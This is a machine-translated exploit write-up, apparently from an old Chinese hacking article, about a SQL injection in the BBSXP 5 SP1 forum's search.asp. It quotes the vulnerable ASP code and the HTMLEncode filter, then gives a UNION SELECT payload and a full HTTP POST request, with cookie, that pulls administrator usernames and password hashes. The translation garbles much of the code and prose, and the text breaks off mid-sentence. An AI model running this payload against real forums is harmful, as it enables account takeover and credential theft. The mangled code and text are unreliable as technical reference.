注入bbsxp注入漏洞（BBSXP injection vulnerability）

bbsxp注入漏洞BBSXP injection vulnerability

BBSXP injection vulnerability

BBSXP injection vulnerability

The newBBSXP injection vulnerability reappearance, can get theadministrator account password directly

-- I found a summary of the bbsxp5 sp1 vulnerability

There was an article about BBSXP in the early days of themagazine. It was a Cookie injection attack. The author wasingenious and could think of a logical loophole.

After reading the article, the school did not read the code.Having nothing to do during the summer vacation, I downloadedthe latest version of BBSXP and read it.

BBSXP is really small and small, and the file is short and short,but it' s a bit different from a DVBBS, whether it' s a functionor an interface.

But it' s a little bit of a flaw, after three years of testing.One. Search for loopholes

BBS to string input with HTMLEncode conversion, the numerictype with int function adjustment, Isnumeric functionjudgment.

Obviously there are Numbers and strings in the query that must

not be used as input values. You can't input as a value, whydo you enter it?

That' s the crux of the matter. I scanned each file with thisidea, and it took a long time to get to search. Asp

(seem to have had a loophole before, changed the original buthave a new) found a loophole, look at the code together.<! - # include file = "setup. Asp" -- >

The < %top

If request.cookies (" username ") = empty then error (" < li >you haven' t < a href = login.asp > login ")

DetectPost

If the Request (" menu ") = "ok" then

Search = Request (" search ")

Forumid forumid = Request (" ")

TimeLimit = Request (" TimeLimit ")

The content = the HTMLEncode (Request (" content ") )

Searchxm= the HTMLEncode (Request (" searchxm "))

Searchxm2 = the HTMLEncode (Request (" searchxm2 ") )

Searchxm2 = replace (searchxm2, "@", "&")

If the content = empty then the content = Request. Cookies ("u sername ")

If isnumeric (" "&forumid&" ") then forumidor = "forumid ="& "forumid &" "and"

If the search = "author" then

The item = "&" searchxm& "= ' " & the content &" "

Elseif search = "key" then

The item= "&" searchxm2 & "like '%" & the content &%' ""End the if

If TimeLimit < > "" then TimeLimitList =" and lasttime > "&SqlNowString &" -"

SQL = "select top" &MaxSearch& "* from forum where deltopic< > 1 and" & forumidor & "" &" "&" "&" & "&" & "&" & "&" "&""

"& TimeLimitList &" order by lasttime Desc"

Rs. The Open SQL, Conn, 1

. . . . . .

Let' s take a closer look at SQL = "select top" &MaxSearch. . .This one, where MaxSearch is defined, the default value is 500,We're left with 3 out of the outside.

1. If isnumeric (" "& forumid&" ") then forumidor = "forumid=" & "forumid &" "and"

As long as the forumid input is empty, forumidor is empty.

2. If TimeLimit < > ", "then TimeLimitList =" and lasttime >"& SqlNowString &" & int "(TimeLimit) &" "

TimeLimit is an integer, input (enter a 1) , then TimeLimitListbecomes "and lasttime > now () -1",

Change to "and lasttime > getdate () -1" in MSSQL.

3. If the search = "author" then

The item= "&" searchxm& "= ' " & the content &" "

Elseif search = "key" then

The item= "&" searchxm2 & "like '%" & the content &%' ""End the if

As long as the search = "author",

If the content is arbitrary input (to lose a abcd) , then item= HTMLEncode (searchxm) = 'abcd' ,

As soon as we construct the input and pass the above statement,the SQL statement becomes:

Select top 500*from forum where deltopic < > 1 and [HTMLEncode(searchxm) ] = 'abcd'

And lasttime > now () - 1 order by lasttime Desc

There are no single quotes around the brackets enclosed inbrackets, and obviously it can be used.

Let' s look at the HTMLEncode function first

The function the HTMLEncode (fString)

FString = replace (fString, "; ", "& # 59;")

FString = server. The htmlencode (fString)

FString = replace (fString, "' ", "& # 39;")

FString = replace (fString, "-", "& # 45; & # 45;")

FString = replace (fString, "", " the & # 92; ")

FString = replace (fString, vbCrlf, "< br >")

The HTMLEncode = fString

End the function

The filter is filtered, and the filter is very tight. Theprogrammer is also very difficult, and the filter is more thanlikely to affect the use.

There are fewer safety problems. So how do we use this filter?Naturally, you have to guess,

It is a feasible method, and the structure of the table is alsoknown, and it is easy to guess. But I' ll do it in a simple way.Two. Exploit

It is also valid for both ACCESS and MSSQL with a familiar unionquery. I'mnot going to write it, just to show you the results.Select top 500 * from forum where deltopic < > 1 and

The forumid= 0 union all select top 1, 1, [user] . Username astopic, forum. Use

Rname, content, forum. Posttime forum. Postip, 1, 1, 1, 1, 1, 1, 1,[user] . Userpass as lastname,

Lasttime, polltopic clubconfig. Adminpassword as pollresult,1 the from

[user], forum, clubconfig where [user] . Membercode=5 or forum.Id = 0 or clubconfig.adminpassword

= 'abcd' and lasttime > now () - 1 order by lasttime DescThe color part is the value of the searchxm we want to enter,and each character HTMLEncode function in the middle is notf iltered.

And the implication of this statement is that the statement infront of the union is false, because the forumid cannot be 0,The union only queries a record that contains theadministrator' s user name and encryption password, as well asthe encrypted password for community management.

The friend who knows the SQL statement will see it.

The number 1 does not make sense, just to match the type of thefield, ensuring that the number of fields before and after theunion is consistent with the type.

Here you can construct your own queries, and I give you areference.

Construct the input statement and construct the submission.Think of the classic WSE, if anyone thinks that you can writeyour own submit strings for the HTTP protocol,

I should also advise him to save energy and brain power.

(figure 1)

[2]

The construction is submitted as follows:

POST/BBSXP/search. Asp? The menu = ok HTTP / 1. 1

Accept: image/GIF, image/x-xbitmap, image/jpeg, image/pjpeg,appl ication/x- shockwave - f lash, appl ication/VND. Ms-excel,Appl ication/VND. - ms powerpoint, application/msword, * / *Referer: http://localhost:8000/bbsxp/search.asp

The Accept - Language: useful - cn

The content-type: application/x - WWW - form - urlencodedThe Accept - Encoding: gzip, deflate

The user-agent: Mozilla / 4.

0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)

Host: localhost: 8000

The Content - Length: 481

Connection: Keep Alive

The cache-control: no - Cache

Cookie: eremite = 0; Userpass =

E80B5017098950FC58AAD83C8C14978E; The username=admin; Skins= 1; ASPSESSIONIDSSRQSDTB =

OGLJMADCECKAFKGCPCCHBKHO; On l inet i me=2 d8%2004%2 d 13+2004%3 a08%3 a33; Addmin = 0

The content = fsaf&search = author&searchxm 20 forumid = % %3 d0 +union+all + select + top 1%+ 1 +2 c1 5 buser%2 c %%5 d.

Username + + topic as %2 cforum. The username% 2 ccontent %2 cforum. Posttime %2 cforum. Postip%2 c1%2 c1%2 c1%2 c1%2C1%2 C1%2 C1%2 c%5 buser%5 d. The userpass +as + lastname%2 clasttime%2 cpolltopic%2 cclubconfig. Adminpassword+ as+ pollresult % 2 c1 + from + % 5 buser cforum% 2 c % 5 d % 2Clubconfig +where + 5 buser % % 5 d. The membercode % 3 d5 +or + forum.

Id % 3 d0 + or + clubconf ig. Adminpassword&searchxm 2 =topic&TimeLimit = & forumid = & submit 1 = % BF % % % AA % CABC

CB % % % CB D1 F7

I've written an HTML page for the searchxm part, which can be